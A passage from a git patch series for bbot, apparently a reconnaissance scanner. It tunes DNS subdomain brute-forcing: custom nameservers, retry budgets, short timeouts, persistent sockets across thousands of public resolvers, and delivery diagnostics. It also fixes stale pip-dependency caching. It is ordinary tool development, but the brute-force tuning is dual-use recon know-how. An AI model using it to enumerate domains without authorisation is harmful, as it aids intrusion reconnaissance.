["bbot", "--custom-nameserver", "1.1.1.1", "8.8.8.8:53", "--current-preset"]) + cli.main() + captured = capsys.readouterr() + stdout_preset = yaml.safe_load(captured.out) + stdout_preset.pop("description") + assert stdout_preset == {"config": {"dns": {"nameservers": ["1.1.1.1", "8.8.8.8:53"]}}} + # cli config overrides all presets monkeypatch.setattr( "sys.argv", diff --git a/bbot/test/test_step_1/test_dns.py b/bbot/test/test_step_1/test_dns.py index 55a964e253..62d79bb42e 100644 --- a/bbot/test/test_step_1/test_dns.py +++ b/bbot/test/test_step_1/test_dns.py @@ -902,11 +902,36 @@ async def test_dns_helpers(bbot_scanner): # all_rdtypes is the canonical list -- make sure it's not empty and contains the basics assert "A" in all_rdtypes and "AAAA" in all_rdtypes and "CNAME" in all_rdtypes - # make sure system nameservers are excluded from use by DNS brute force + # make sure the resolvers used for normal resolution are excluded from brute-forcing brute_nameservers = tempwordlist(["1.2.3.4", "8.8.4.4", "4.3.2.1", "8.8.8.8"]) scan = bbot_scanner(config={"dns": {"brute_nameservers": brute_nameservers}}) await scan._prep() - scan.helpers.dns.system_resolvers = ["8.8.8.8", "8.8.4.4"] + scan.helpers.dns.resolvers = ["8.8.8.8", "8.8.4.4"] resolver_file = await scan.helpers.dns.brute.resolver_file() resolvers = set(scan.helpers.read_file(resolver_file)) assert resolvers == {"1.2.3.4", "4.3.2.1"} + + # custom nameservers replace the system ones, and are likewise kept out of + # the brute-force pool so brute traffic can't rate-limit our own queries + scan = bbot_scanner( + config={"dns": {"nameservers": ["8.8.8.8", "8.8.4.4"], "brute_nameservers": brute_nameservers}} + ) + await scan._prep() + assert scan.helpers.dns.resolvers == ["8.8.8.8", "8.8.4.4"] + assert scan.helpers.dns.blastdns.resolvers == ["8.8.8.8:53", "8.8.4.4:53"] + # resolver_file is what external tools (e.g. nuclei) are pointed at + assert set(scan.helpers.read_file(scan.helpers.dns.resolver_file)) == {"8.8.8.8", "8.8.4.4"} + resolver_file = await scan.helpers.dns.brute.resolver_file() + assert set(scan.helpers.read_file(resolver_file)) == {"1.2.3.4", "4.3.2.1"} + + # with no custom nameservers, the system ones are used + scan = bbot_scanner() + await scan._prep() + assert scan.helpers.dns.resolvers == list(scan.helpers.dns.system_resolvers) + + # An unusable nameserver fails loudly instead of being silently ignored. + # Validation is blastdns's, so it happens when the client is built on first + # DNS use rather than at config-parse time. + scan = bbot_scanner(config={"dns": {"nameservers": ["not-an-ip"]}}) + with pytest.raises(ValidationError, match="dns.nameservers"): + _ = scan.helpers.dns.resolvers diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md index 975120b714..b41b287579 100644 --- a/docs/scanning/configuration.md +++ b/docs/scanning/configuration.md @@ -107,6 +107,8 @@ dns: disable: false # Speed up scan by not creating any new DNS events, and only resolving A and AAAA records minimal: false + # Nameservers to use instead of the system ones (empty = use system resolvers) + nameservers: [] # How many queries to keep in flight per resolver (best way to increase speed is to put more resolvers in /etc/resolv.conf) threads: 10 # How many DNS records to cache From 9dc85f07cccccafee3aff15520c7329e263a1743 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Wed, 29 Jul 2026 19:34:41 -0400 Subject: [PATCH 021/256] Report resolver diagnostics when brute-force delivery drops --- bbot/core/helpers/dns/brute.py | 32 ++++++++++++++++++++++++++------ 1 file changed, 26 insertions(+), 6 deletions(-) diff --git a/bbot/core/helpers/dns/brute.py b/bbot/core/helpers/dns/brute.py index e4fc0a44b0..b055fc8376 100644 --- a/bbot/core/helpers/dns/brute.py +++ b/bbot/core/helpers/dns/brute.py @@ -140,7 +140,10 @@ async def _resolve_subdomains(self, domain, subdomains, rdtype): empty = 0 failed = 0 + # Runs are serialized by dnsbrute_lock, so a stats snapshot taken here + # describes this run and no other. async with self.dnsbrute_lock: + before = {s.resolver: s for s in client.stats()} async for host, result in client.resolve_batch_full(queries, rdtype): if isinstance(result, DNSError): failed += 1 @@ -157,23 +160,40 @@ async def _resolve_subdomains(self, domain, subdomains, rdtype): continue hosts_yielded.add(hostname) yield hostname + after = client.stats() - self._log_delivery(domain, answered, empty, failed) + self._log_delivery(domain, answered, empty, failed, before, after) - def _log_delivery(self, domain, answered, empty, failed): + def _log_delivery(self, domain, answered, empty, failed, before, after): """Report how much of the wordlist actually got an answer. A run that silently drops queries looks identical to one that found - nothing, so unanswered queries are worth surfacing. + nothing, so unanswered queries are worth surfacing. When a meaningful + share went unanswered, also report the resolver-side picture, since + otherwise there's no way to tell rate-limiting apart from backoff. """ total = answered + empty + failed if not total: return message = f"Brute-force of {domain}: {answered:,} resolved, {empty:,} no record, {failed:,} unanswered" - if failed / total > 0.05: - self.log.warning(f"{message} ({failed / total:.0%} unanswered, results may be incomplete)") - else: + if failed / total <= 0.05: self.log.verbose(message) + return + + used = 0 + timeouts = 0 + paced = 0 + for stats in after: + previous = before.get(stats.resolver) + if stats.attempted - (previous.attempted if previous else 0): + used += 1 + timeouts += stats.timeout - (previous.timeout if previous else 0) + if stats.rate_qps is not None: + paced += 1 + self.log.warning( + f"{message} ({failed / total:.0%} unanswered, results may be incomplete). " + f"{used:,} resolvers used, {paced:,} throttled by backoff, {timeouts:,} timeouts" + ) def gen_subdomains(self, prefixes, domain): for p in prefixes: From e76f24efcbeb92785d2d71d204149dc4b8473bc3 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 30 Jul 2026 08:53:44 -0400 Subject: [PATCH 022/256] Give brute-force its own retry budget --- bbot/core/config/models.py | 1 + bbot/core/helpers/dns/brute.py | 3 ++- bbot/defaults.yml | 3 +++ docs/scanning/configuration.md | 3 +++ 4 files changed, 9 insertions(+), 1 deletion(-) diff --git a/bbot/core/config/models.py b/bbot/core/config/models.py index 6cc7b8862b..a3db29629c 100644 --- a/bbot/core/config/models.py +++ b/bbot/core/config/models.py @@ -250,6 +250,7 @@ class DnsConfig(BaseModel): brute_concurrency: Optional[int] = None brute_inflight_per_resolver: Optional[int] = None brute_rate_limit: Optional[float] = None + brute_retries: Optional[int] = None brute_nameservers: Optional[str] = None search_distance: Optional[int] = None runaway_limit: Optional[int] = None diff --git a/bbot/core/helpers/dns/brute.py b/bbot/core/helpers/dns/brute.py index b055fc8376..d36baf2724 100644 --- a/bbot/core/helpers/dns/brute.py +++ b/bbot/core/helpers/dns/brute.py @@ -31,6 +31,7 @@ def __init__(self, parent_helper): self.concurrency = self.dns_config.get("brute_concurrency", 1000) self.inflight_per_resolver = self.dns_config.get("brute_inflight_per_resolver", 2) self.rate_limit = self.dns_config.get("brute_rate_limit", 0) + self.retries = self.dns_config.get("brute_retries", 20) self.nameservers_url = self.dns_config.get("brute_nameservers", self._nameservers_url) self.devops_mutations = list(self.parent_helper.word_cloud.devops_mutations) self.digit_regex = self.parent_helper.re.compile(r"\d+") @@ -78,7 +79,7 @@ async def client(self): # cache would only consume memory. cache_capacity=0, request_timeout_ms=self.parent_helper.dns.timeout * 1000, - max_retries=self.parent_helper.dns.retries, + max_retries=self.retries, ), ) return self._client diff --git a/bbot/defaults.yml b/bbot/defaults.yml index 35d5053319..82635eeca8 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -59,6 +59,9 @@ dns: brute_inflight_per_resolver: 2 # Hard ceiling on brute-force DNS queries per second (0 = unlimited; backoff is automatic regardless) brute_rate_limit: 0 + # Attempts per brute-force name before giving up (each retry lands on a different resolver) + # Only timeouts retry, not NXDOMAIN, so this costs traffic proportional to the failure rate + brute_retries: 20 # nameservers to use for DNS brute-forcing # default is updated weekly and contains ~10K high-quality public servers brute_nameservers: https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md index b41b287579..46311def0a 100644 --- a/docs/scanning/configuration.md +++ b/docs/scanning/configuration.md @@ -119,6 +119,9 @@ dns: brute_inflight_per_resolver: 2 # Hard ceiling on brute-force DNS queries per second (0 = unlimited; backoff is automatic regardless) brute_rate_limit: 0 + # Attempts per brute-force name before giving up (each retry lands on a different resolver) + # Only timeouts retry, not NXDOMAIN, so this costs traffic proportional to the failure rate + brute_retries: 20 # nameservers to use for DNS brute-forcing # default is updated weekly and contains ~10K high-quality public servers brute_nameservers: https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt From a3e1f2e5a64d16b5c74b49bc590990e82a7d600f Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 30 Jul 2026 10:28:44 -0400 Subject: [PATCH 023/256] Give brute-force its own short query timeout Brute-forcing inherited dns.timeout (5s), which is right for careful resolution of in-scope hosts but wrong here: blastdns abandons an attempt when the timeout expires rather than overlapping retransmissions, so retries x timeout serializes. At 20 retries that meant up to 100s on a single stubborn name, and measured out at 2.4x slower than a 1-retry run. massdns re-asks every 500ms for up to 50 tries, a 25s budget per name. A 1s timeout with 20 retries gives a comparable 20s budget without the serialization cost. Not shorter than 1s, since blastdns discards late answers that massdns would still accept. --- bbot/core/config/models.py | 1 + bbot/core/helpers/dns/brute.py | 3 ++- bbot/defaults.yml | 4 ++++ docs/scanning/configuration.md | 4 ++++ 4 files changed, 11 insertions(+), 1 deletion(-) diff --git a/bbot/core/config/models.py b/bbot/core/config/models.py index a3db29629c..a1ff54db87 100644 --- a/bbot/core/config/models.py +++ b/bbot/core/config/models.py @@ -251,6 +251,7 @@ class DnsConfig(BaseModel): brute_inflight_per_resolver: Optional[int] = None brute_rate_limit: Optional[float] = None brute_retries: Optional[int] = None + brute_timeout: Optional[float] = None brute_nameservers: Optional[str] = None search_distance: Optional[int] = None runaway_limit: Optional[int] = None diff --git a/bbot/core/helpers/dns/brute.py b/bbot/core/helpers/dns/brute.py index d36baf2724..ce3b20921d 100644 --- a/bbot/core/helpers/dns/brute.py +++ b/bbot/core/helpers/dns/brute.py @@ -32,6 +32,7 @@ def __init__(self, parent_helper): self.inflight_per_resolver = self.dns_config.get("brute_inflight_per_resolver", 2) self.rate_limit = self.dns_config.get("brute_rate_limit", 0) self.retries = self.dns_config.get("brute_retries", 20) + self.timeout = self.dns_config.get("brute_timeout", 1) self.nameservers_url = self.dns_config.get("brute_nameservers", self._nameservers_url) self.devops_mutations = list(self.parent_helper.word_cloud.devops_mutations) self.digit_regex = self.parent_helper.re.compile(r"\d+") @@ -78,7 +79,7 @@ async def client(self): # Brute-force queries are unique by construction, so a # cache would only consume memory. cache_capacity=0, - request_timeout_ms=self.parent_helper.dns.timeout * 1000, + request_timeout_ms=int(self.timeout * 1000), max_retries=self.retries, ), ) diff --git a/bbot/defaults.yml b/bbot/defaults.yml index 82635eeca8..1c1fb65bdb 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -62,6 +62,10 @@ dns: # Attempts per brute-force name before giving up (each retry lands on a different resolver) # Only timeouts retry, not NXDOMAIN, so this costs traffic proportional to the failure rate brute_retries: 20 + # Per-query timeout in seconds when brute-forcing. Deliberately much shorter than + # dns.timeout: a public resolver that hasn't answered by now won't, and retrying + # elsewhere is cheaper than waiting. + brute_timeout: 1 # nameservers to use for DNS brute-forcing # default is updated weekly and contains ~10K high-quality public servers brute_nameservers: https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt diff --git a/docs/scanning/configuration.md b/docs/scanning/configuration.md index 46311def0a..b3e2c3b36a 100644 --- a/docs/scanning/configuration.md +++ b/docs/scanning/configuration.md @@ -122,6 +122,10 @@ dns: # Attempts per brute-force name before giving up (each retry lands on a different resolver) # Only timeouts retry, not NXDOMAIN, so this costs traffic proportional to the failure rate brute_retries: 20 + # Per-query timeout in seconds when brute-forcing. Deliberately much shorter than + # dns.timeout: a public resolver that hasn't answered by now won't, and retrying + # elsewhere is cheaper than waiting. + brute_timeout: 1 # nameservers to use for DNS brute-forcing # default is updated weekly and contains ~10K high-quality public servers brute_nameservers: https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt From 00a3cc14606a596879f840b0f2dfc62298a1aae2 Mon Sep 17 00:00:00 2001 From: Paul Mueller Date: Fri, 31 Jul 2026 10:39:27 -0400 Subject: [PATCH 024/256] Reinstall module deps when they're missing from the environment (#3338) * Reinstall module deps when they're missing from the environment The setup status cache recorded a module's deps as installed and never rechecked them, so a rebuilt virtualenv (e.g. `uv sync`) silently left modules broken until ~/.bbot was wiped by hand. Verify a module's pip packages are actually present before honoring a cache hit. Also promote `packaging` to a direct dependency; it was only present transitively via ansible. * Remove dead else branch, honor custom pip constraints The else branch in install()'s dependency loop was unreachable structure; the preceding branch always continues. Collapsing it also flattens the nested if/else into elif. pip_install() overwrote custom constraints with bbot's own instead of using them as a fallback. No module sets deps_pip_constraints today, so this changes no current behavior. --- bbot/core/helpers/depsinstaller/installer.py | 94 ++++++++----- bbot/test/test_step_1/test_depsinstaller.py | 132 +++++++++++++++++++ pyproject.toml | 1 + uv.lock | 2 + 4 files changed, 197 insertions(+), 32 deletions(-) diff --git a/bbot/core/helpers/depsinstaller/installer.py b/bbot/core/helpers/depsinstaller/installer.py index 66b35db15c..82579b4396 100644 --- a/bbot/core/helpers/depsinstaller/installer.py +++ b/bbot/core/helpers/depsinstaller/installer.py @@ -15,6 +15,8 @@ from secrets import token_bytes from ansible_runner.interface import run from subprocess import CalledProcessError +from importlib.metadata import PackageNotFoundError, version as installed_version +from packaging.requirements import InvalidRequirement, Requirement from bbot import __version__ from ..misc import can_sudo_without_password, os_platform, rm_at_exit, get_python_constraints @@ -183,38 +185,43 @@ async def install(self, *modules): log.debug(f'No dependency work to do for module "{m}"') succeeded.append(m) continue - else: - if ( - success is None - or (success is False and self.deps_behavior == "retry_failed") - or self.deps_behavior == "force_install" - ): - if not notified: - log.hugeinfo("Installing module dependencies. Please be patient, this may take a while.") - notified = True - log.verbose(f'Installing dependencies for module "{m}"') - # get sudo access if we need it - if preloaded.get("sudo", False) is True: - self.ensure_root(f'Module "{m}" needs root privileges to install its dependencies.') - success = await self.install_module(m) - self.setup_status[module_hash] = success - if success or self.deps_behavior == "ignore_failed": - log.debug(f'Setup succeeded for module "{m}"') - succeeded.append(m) - else: - log.error(f'Setup failed for module "{m}"') - failed.append(m) + # don't trust the cache if the packages it claims to have installed are gone + # (e.g. the virtualenv was rebuilt by "uv sync") + if success is True: + satisfied, reason = self._pip_deps_satisfied(preloaded["deps"]["pip"]) + if not satisfied: + log.verbose(f'Dependencies for module "{m}" need reinstalling ({reason})') + success = None + if ( + success is None + or (success is False and self.deps_behavior == "retry_failed") + or self.deps_behavior == "force_install" + ): + if not notified: + log.hugeinfo("Installing module dependencies. Please be patient, this may take a while.") + notified = True + log.verbose(f'Installing dependencies for module "{m}"') + # get sudo access if we need it + if preloaded.get("sudo", False) is True: + self.ensure_root(f'Module "{m}" needs root privileges to install its dependencies.') + success = await self.install_module(m) + self.setup_status[module_hash] = success + if success or self.deps_behavior == "ignore_failed": + log.debug(f'Setup succeeded for module "{m}"') + succeeded.append(m) else: - if success or self.deps_behavior == "ignore_failed": - log.debug( - f'Skipping dependency install for module "{m}" because it\'s already done (--force-deps to re-run)' - ) - succeeded.append(m) - else: - log.error( - f'Skipping dependency install for module "{m}" because it failed previously (--retry-deps to retry or --ignore-failed-deps to ignore)' - ) - failed.append(m) + log.error(f'Setup failed for module "{m}"') + failed.append(m) + elif success or self.deps_behavior == "ignore_failed": + log.debug( + f'Skipping dependency install for module "{m}" because it\'s already done (--force-deps to re-run)' + ) + succeeded.append(m) + else: + log.error( + f'Skipping dependency install for module "{m}" because it failed previously (--retry-deps to retry or --ignore-failed-deps to ignore)' + ) + failed.append(m) finally: self.write_setup_status() @@ -271,7 +278,7 @@ async def pip_install(self, packages, constraints=None): command = [sys.executable, "-m", "pip", "install", "--upgrade"] + packages # if no custom constraints are provided, use the constraints of the currently installed version of bbot - if constraints is not None: + if not constraints: constraints = get_python_constraints() constraints_tempfile = self.parent_helper.tempfile(constraints, pipe=False) @@ -465,6 +472,29 @@ def _core_dep_satisfied(self, command): ) return bool(self.parent_helper.which(command)) + def _pip_deps_satisfied(self, deps_pip): + """Check whether a module's pip dependencies are currently installed in this environment. + + Returns (success, reason). Unparseable requirements (e.g. VCS URLs) can't be checked, + so they're assumed satisfied. + """ + for dep in deps_pip: + try: + requirement = Requirement(dep) + except InvalidRequirement: + log.debug(f'Unable to verify pip dependency "{dep}"; assuming it is installed') + continue + # skip deps that don't apply to this interpreter/platform + if requirement.marker is not None and not requirement.marker.evaluate(): + continue + try: + version = installed_version(requirement.name) + except PackageNotFoundError: + return False, f'pip package "{requirement.name}" is not installed' + if not requirement.specifier.contains(version, prereleases=True): + return False, f'pip package "{requirement.name}=={version}" does not satisfy "{dep}"' + return True, "" + async def install_core_deps(self): # skip if we've already successfully installed core deps for this definition core_deps_hash = str(mmh3.hash(orjson.dumps(self.CORE_DEPS, option=orjson.OPT_SORT_KEYS))) diff --git a/bbot/test/test_step_1/test_depsinstaller.py b/bbot/test/test_step_1/test_depsinstaller.py index 76a363ae5d..6d6ab8beee 100644 --- a/bbot/test/test_step_1/test_depsinstaller.py +++ b/bbot/test/test_step_1/test_depsinstaller.py @@ -1,3 +1,5 @@ +from importlib.metadata import version as installed_version + from ..bbot_fixtures import * @@ -24,3 +26,133 @@ async def test_depsinstaller(monkeypatch, bbot_scanner): test_file.unlink(missing_ok=True) await scan._cleanup() + + +@pytest.mark.asyncio +async def test_depsinstaller_pip_deps_satisfied(bbot_scanner): + scan = bbot_scanner("127.0.0.1") + await scan._prep() + installer = scan.helpers.depsinstaller + + # pydantic is a core dependency, so it's always installed + pydantic_version = installed_version("pydantic") + assert installer._pip_deps_satisfied([]) == (True, "") + assert installer._pip_deps_satisfied(["pydantic"]) == (True, "") + assert installer._pip_deps_satisfied([f"pydantic=={pydantic_version}", "pydantic>=1.0"]) == (True, "") + + # not installed + satisfied, reason = installer._pip_deps_satisfied(["bbot-nonexistent-package"]) + assert satisfied is False + assert "is not installed" in reason + + # installed, but not at a version that satisfies the requirement + satisfied, reason = installer._pip_deps_satisfied(["pydantic==0.0.1"]) + assert satisfied is False + assert "does not satisfy" in reason + + # a single unsatisfied dep is enough to fail the whole set + assert installer._pip_deps_satisfied(["pydantic", "bbot-nonexistent-package"])[0] is False + + # requirements that don't apply to this interpreter are skipped + assert installer._pip_deps_satisfied(['bbot-nonexistent-package; python_version < "3.0"']) == (True, "") + + # requirements we can't parse are assumed satisfied + assert installer._pip_deps_satisfied(["git+https://github.com/blacklanternsecurity/bbot.git"]) == (True, "") + + await scan._cleanup() + + +@pytest.mark.asyncio +async def test_depsinstaller_pip_constraints(monkeypatch, bbot_scanner): + scan = bbot_scanner("127.0.0.1") + await scan._prep() + installer = scan.helpers.depsinstaller + + commands = [] + + class MockProcess: + stdout = "Successfully installed nothing" + + async def mock_run(command, *args, **kwargs): + commands.append(command) + return MockProcess() + + monkeypatch.setattr(installer.parent_helper, "run", mock_run) + + def last_constraints(): + command = commands[-1] + return Path(command[command.index("--constraint") + 1]).read_text() + + # custom constraints are passed through to pip + assert await installer.pip_install(["pydantic"], constraints=["pydantic==1.2.3"]) is True + assert "pydantic==1.2.3" in last_constraints() + + # modules without custom constraints fall back to bbot's own constraints + for no_constraints in ([], None): + assert await installer.pip_install(["pydantic"], constraints=no_constraints) is True + bbot_constraints = last_constraints() + assert "pydantic==1.2.3" not in bbot_constraints + assert "pydantic" in bbot_constraints + + await scan._cleanup() + + +@pytest.mark.asyncio +async def test_depsinstaller_stale_pip_cache(monkeypatch, bbot_scanner): + """ + A cached dependency success must not be trusted when its pip packages have since vanished + from the environment, e.g. because the virtualenv was rebuilt by `uv sync`. + """ + scan = bbot_scanner("127.0.0.1") + await scan._prep() + installer = scan.helpers.depsinstaller + + pip_installs = [] + + async def mock_pip_install(packages, constraints=None): + pip_installs.append(list(packages)) + return True + + async def mock_install_core_deps(): + return + + monkeypatch.setattr(installer, "pip_install", mock_pip_install) + monkeypatch.setattr(installer, "install_core_deps", mock_install_core_deps) + # keep our fake modules out of the shared setup status cache + monkeypatch.setattr(installer, "setup_status_cache", scan.helpers.temp_filename()) + monkeypatch.setattr(installer, "setup_status", {}) + + missing_module = "deps_test_missing" + present_module = "deps_test_present" + preloaded = scan.preset.module_loader._preloaded + for module_name, pip_dep in ((missing_module, "bbot-nonexistent-package"), (present_module, "pydantic")): + preloaded[module_name] = { + "sudo": False, + "deps": { + "apt": [], + "shell": [], + "pip": [pip_dep], + "pip_constraints": [], + "common": [], + "ansible": [], + }, + } + + try: + # first run: nothing is cached yet, so both modules install their deps + succeeded, failed = await installer.install(missing_module, present_module) + assert not failed + assert succeeded == sorted([missing_module, present_module]) + assert sorted(pip_installs) == [["bbot-nonexistent-package"], ["pydantic"]] + + # second run: the cache is warm, but only pydantic is actually installed. + # the missing package must be reinstalled instead of silently assumed present + pip_installs.clear() + succeeded, failed = await installer.install(missing_module, present_module) + assert not failed + assert succeeded == sorted([missing_module, present_module]) + assert pip_installs == [["bbot-nonexistent-package"]] + finally: + for module_name in (missing_module, present_module): + preloaded.pop(module_name, None) + await scan._cleanup() diff --git a/pyproject.toml b/pyproject.toml index fca08c78dd..04450e9744 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -51,6 +51,7 @@ dependencies = [ "blasthttp>=0.9.0", "blastdns>=1.9.0,<2", "zstandard>=0.22,<1", + "packaging>=23.0", ] [project.urls] diff --git a/uv.lock b/uv.lock index 170b6c7077..535670ed12 100644 --- a/uv.lock +++ b/uv.lock @@ -200,6 +200,7 @@ dependencies = [ { name = "lxml" }, { name = "mmh3" }, { name = "orjson" }, + { name = "packaging" }, { name = "pip" }, { name = "psutil" }, { name = "puremagic" }, @@ -273,6 +274,7 @@ requires-dist = [ { name = "lxml", specifier = ">=4.9.2,<7.0.0" }, { name = "mmh3", specifier = ">=4.1,<6.0" }, { name = "orjson", specifier = ">=3.10.12,<4" }, + { name = "packaging", specifier = ">=23.0" }, { name = "pip" }, { name = "psutil", specifier = ">=5.9.4,<8.0.0" }, { name = "puremagic", specifier = ">=1.28,<2" }, From b6671bb6d8161b07c41af71d76b7449197098b0f Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 31 Jul 2026 16:22:43 -0400 Subject: [PATCH 025/256] Halve the brute-force query timeout and expose persistent sockets A brute run ends when its slowest query ends, and stragglers burned timeout x retries serially: the last 1% of queries took a quarter of each run's wall clock, paid 43 times per scan. Dropping the timeout to 0.5s cuts per-run time 32% (3.26s -> 2.23s over 5 interleaved reps) with the resolved set unchanged, because retries recover anything abandoned early. Going lower shrinks the usable resolver pool by half. Also exposes blastdns's persistent_socket, which trades most of that throughput for ~4x less connection-tracking state, for networks with a small NAT table. --- bbot/core/config/models.py | 1 + bbot/core/helpers/dns/brute.py | 4 ++- bbot/defaults.yml | 10 +++--- bbot/test/test_step_1/test_dns.py | 55 +++++++++++++++++++++++++++++++ 4 files changed, 65 insertions(+), 5 deletions(-) diff --git a/bbot/core/config/models.py b/bbot/core/config/models.py index a1ff54db87..99cf1e94b8 100644 --- a/bbot/core/config/models.py +++ b/bbot/core/config/models.py @@ -252,6 +252,7 @@ class DnsConfig(BaseModel): brute_rate_limit: Optional[float] = None brute_retries: Optional[int] = None brute_timeout: Optional[float] = None + brute_persistent_socket: Optional[bool] = None brute_nameservers: Optional[str] = None search_distance: Optional[int] = None runaway_limit: Optional[int] = None diff --git a/bbot/core/helpers/dns/brute.py b/bbot/core/helpers/dns/brute.py index ce3b20921d..2a16fb27cd 100644 --- a/bbot/core/helpers/dns/brute.py +++ b/bbot/core/helpers/dns/brute.py @@ -32,7 +32,8 @@ def __init__(self, parent_helper): self.inflight_per_resolver = self.dns_config.get("brute_inflight_per_resolver", 2) self.rate_limit = self.dns_config.get("brute_rate_limit", 0) self.retries = self.dns_config.get("brute_retries", 20) - self.timeout = self.dns_config.get("brute_timeout", 1) + self.timeout = self.dns_config.get("brute_timeout", 0.5) + self.persistent_socket = self.dns_config.get("brute_persistent_socket", False) self.nameservers_url = self.dns_config.get("brute_nameservers", self._nameservers_url) self.devops_mutations = list(self.parent_helper.word_cloud.devops_mutations) self.digit_regex = self.parent_helper.re.compile(r"\d+") @@ -81,6 +82,7 @@ async def client(self): cache_capacity=0, request_timeout_ms=int(self.timeout * 1000), max_retries=self.retries, + persistent_socket=self.persistent_socket, ), ) return self._client diff --git a/bbot/defaults.yml b/bbot/defaults.yml index 1c1fb65bdb..7a00786bce 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -62,10 +62,12 @@ dns: # Attempts per brute-force name before giving up (each retry lands on a different resolver) # Only timeouts retry, not NXDOMAIN, so this costs traffic proportional to the failure rate brute_retries: 20 - # Per-query timeout in seconds when brute-forcing. Deliberately much shorter than - # dns.timeout: a public resolver that hasn't answered by now won't, and retrying - # elsewhere is cheaper than waiting. - brute_timeout: 1 + # Per-query timeout in seconds when brute-forcing, deliberately much shorter than dns.timeout + # Retrying elsewhere is cheaper than waiting; going below this starts shrinking the resolver pool + brute_timeout: 0.5 + # Reuse one socket per resolver instead of one per query, for networks with a small + # NAT/conntrack table. Cuts connection-tracking state ~4x at a large throughput cost + brute_persistent_socket: false # nameservers to use for DNS brute-forcing # default is updated weekly and contains ~10K high-quality public servers brute_nameservers: https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt diff --git a/bbot/test/test_step_1/test_dns.py b/bbot/test/test_step_1/test_dns.py index 62d79bb42e..6ded7fbcb7 100644 --- a/bbot/test/test_step_1/test_dns.py +++ b/bbot/test/test_step_1/test_dns.py @@ -929,6 +929,61 @@ async def test_dns_helpers(bbot_scanner): await scan._prep() assert scan.helpers.dns.resolvers == list(scan.helpers.dns.system_resolvers) + +@pytest.mark.asyncio +async def test_dns_brute_client_config(bbot_scanner, monkeypatch): + """Every dns.brute_* option has to reach the blastdns client. + + blastdns rejects unknown ClientConfig keys, but a value BBOT never passes + fails silently as a default, which is invisible in scan output. + """ + from bbot.core.helpers.dns import brute as brute_module + + captured = {} + + class FakeClient: + def __init__(self, resolvers, config): + captured["resolvers"] = resolvers + captured["config"] = config + + monkeypatch.setattr(brute_module, "Client", FakeClient) + + brute_nameservers = tempwordlist(["1.2.3.4", "4.3.2.1"]) + scan = bbot_scanner( + config={ + "dns": { + "brute_nameservers": brute_nameservers, + "brute_concurrency": 123, + "brute_inflight_per_resolver": 7, + "brute_rate_limit": 456, + "brute_retries": 9, + "brute_timeout": 0.25, + "brute_persistent_socket": True, + } + } + ) + await scan._prep() + await scan.helpers.dns.brute.client() + + config = captured["config"] + assert config.max_concurrency == 123 + assert config.max_inflight_per_resolver == 7 + assert config.rate_limit == 456 + assert config.max_retries == 9 + assert config.request_timeout_ms == 250 + assert config.persistent_socket is True + # brute-force names are unique by construction, so a cache is pure overhead + assert config.cache_capacity == 0 + + # a rate limit of 0 means unlimited, which blastdns spells as None + scan = bbot_scanner(config={"dns": {"brute_nameservers": brute_nameservers, "brute_rate_limit": 0}}) + await scan._prep() + await scan.helpers.dns.brute.client() + assert captured["config"].rate_limit is None + # the shipped default must not silently drift back to a slow tail + assert captured["config"].request_timeout_ms == 500 + assert captured["config"].persistent_socket is False + # An unusable nameserver fails loudly instead of being silently ignored. # Validation is blastdns's, so it happens when the client is built on first # DNS use rather than at config-parse time. From 6a250a6b3ab693097239e3b704e4514272accfe8 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Fri, 31 Jul 2026 23:40:48 -0400 Subject: [PATCH 026/256] Default brute-force to one socket per resolver Per-query sockets bind a fresh source port each time, so connection-tracking state grows with query volume: a single-domain scan peaked at 114,342 conntrack entries, 44% of a stock Linux table and several times over what a consumer router holds. One socket per resolver bounds that by the resolver count instead -- same scan peaked at 6,974, and found the identical 154 subdomains in 158s against 168s. --- bbot/core/helpers/dns/brute.py | 2 +- bbot/defaults.yml | 6 +++--- bbot/test/test_step_1/test_dns.py | 8 ++++++++ 3 files changed, 12 insertions(+), 4 deletions(-) diff --git a/bbot/core/helpers/dns/brute.py b/bbot/core/helpers/dns/brute.py index 2a16fb27cd..04bfc1597f 100644 --- a/bbot/core/helpers/dns/brute.py +++ b/bbot/core/helpers/dns/brute.py @@ -33,7 +33,7 @@ def __init__(self, parent_helper): self.rate_limit = self.dns_config.get("brute_rate_limit", 0) self.retries = self.dns_config.get("brute_retries", 20) self.timeout = self.dns_config.get("brute_timeout", 0.5) - self.persistent_socket = self.dns_config.get("brute_persistent_socket", False) + self.persistent_socket = self.dns_config.get("brute_persistent_socket", True) self.nameservers_url = self.dns_config.get("brute_nameservers", self._nameservers_url) self.devops_mutations = list(self.parent_helper.word_cloud.devops_mutations) self.digit_regex = self.parent_helper.re.compile(r"\d+") diff --git a/bbot/defaults.yml b/bbot/defaults.yml index 7a00786bce..7d7228ed2c 100644 --- a/bbot/defaults.yml +++ b/bbot/defaults.yml @@ -65,9 +65,9 @@ dns: # Per-query timeout in seconds when brute-forcing, deliberately much shorter than dns.timeout # Retrying elsewhere is cheaper than waiting; going below this starts shrinking the resolver pool brute_timeout: 0.5 - # Reuse one socket per resolver instead of one per query, for networks with a small - # NAT/conntrack table. Cuts connection-tracking state ~4x at a large throughput cost - brute_persistent_socket: false + # Reuse one socket per resolver instead of binding one per query, which keeps NAT/conntrack + # state bounded by the resolver count rather than growing with query volume + brute_persistent_socket: true # nameservers to use for DNS brute-forcing # default is updated weekly and contains ~10K high-quality public servers brute_nameservers: https://raw.githubusercontent.com/blacklanternsecurity/public-dns-servers/master/nameservers.txt diff --git a/bbot/test/test_step_1/test_dns.py b/bbot/test/test_step_1/test_dns.py index 6ded7fbcb7..e9503daec0 100644 --- a/bbot/test/test_step_1/test_dns.py +++ b/bbot/test/test_step_1/test_dns.py @@ -982,6 +982,14 @@ def 